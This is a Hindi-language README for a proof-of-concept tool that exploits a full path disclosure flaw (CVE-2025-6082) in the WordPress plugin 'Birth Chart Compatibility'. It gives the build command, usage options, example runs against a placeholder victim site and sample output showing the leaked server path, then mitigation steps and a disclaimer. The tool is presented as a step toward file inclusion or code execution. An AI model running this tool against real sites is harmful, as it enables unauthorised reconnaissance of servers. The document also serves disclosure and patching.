
Proof‑of‑Concept, WordPress प्लगइन “Birth Chart Compatibility” (<=v2.0) में Full Path Disclosure बग का शोषण करता है।
लेखक: Byte Reaper
टेलीग्राम: @ByteReaper0
CVE: CVE-2025-6082
भेद्यता: पूर्ण पथ प्रकटीकरण (CWE-200)
यह Proof‑of‑Concept Birth Chart Compatibility WordPress प्लगइन (संस्करण ≤ 2.0) में एक पूर्ण पथ प्रकटीकरण बग का शोषण करता है। POC प्लगइन के index.php एंडपॉइंट पर एक HTTP GET अनुरोध भेजता है, किसी भी PHP चेतावनी या घातक त्रुटि को कैप्चर करता है, और सर्वर के फ़ाइलसिस्टम पथ को निकालता है (जैसे /var/www/html/wp-content/plugins/... या C:\xampp\htdocs\...)।
पूर्ण पथ का खुलासा एक हमलावर को आगे लोकल फ़ाइल इन्क्लूज़न (LFI), रिमोट कोड एक्ज़ीक्यूशन (RCE), या अन्य टोही हमलों को श्रृंखलित करने में सहायता करता है।
gcc या संगत C कंपाइलरlibcurl डेवलपमेंट हेडरargparse.c / argparse.hgcc -o fpd-poc exploit.c argparse.c -lcurl
./fpd-poc -u https://target.com [options]
विकल्प:
-u, --url (आवश्यक) लक्ष्य WordPress साइट का आधार URL
-c, --cookies FILE से कुकीज़ का उपयोग करें (वैकल्पिक)
-v, --verbose विस्तृत curl आउटपुट सक्षम करें
-f, --loop अनुरोध को N बार दोहराएं (जैसे -f 10)
-h, --help यह सहायता संदेश दिखाएं
उदाहरण:
./fpd-poc -u https://victim.com
./fpd-poc -u https://victim.com -v -f 5 नमूना आउटपुट:
[+] अनुरोध सफलतापूर्वक भेजा गया
[+] इनपुट Url : https://victim.com
[+] पूर्ण प्रारूप Url: https://victim.com/wp-content/plugins/birth-chart-compatibility/index.php
[+] Http कोड : 200
====================================[प्रतिक्रिया]====================================
Warning: include(/var/www/html/wp-content/plugins/birth-chart-compatibility/missing.php): failed to open stream...
[+] प्रतिक्रिया लंबाई : 256
[+] कीवर्ड मिला: Warning:
[+] संदर्भ: Warning: include(/var/www/html/wp-content/plugins/birth-chart-compatibility/missing.php
जैसे ही जारी किया जाए, “Birth Chart Compatibility” प्लगइन को पैच किए गए संस्करण (> 2.0) में अपडेट करें।
यदि आप इसका उपयोग नहीं करते हैं तो प्लगइन को अक्षम या हटा दें।
अपने वेब सर्वर कॉन्फ़िगरेशन (जैसे .htaccess या Nginx नियमों के माध्यम से) के माध्यम से प्लगइन PHP फ़ाइलों (index.php) तक सीधी पहुँच को अस्वीकार करें।
अस्वीकरण यह कोड केवल शैक्षिक और परीक्षण उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध हो सकता है।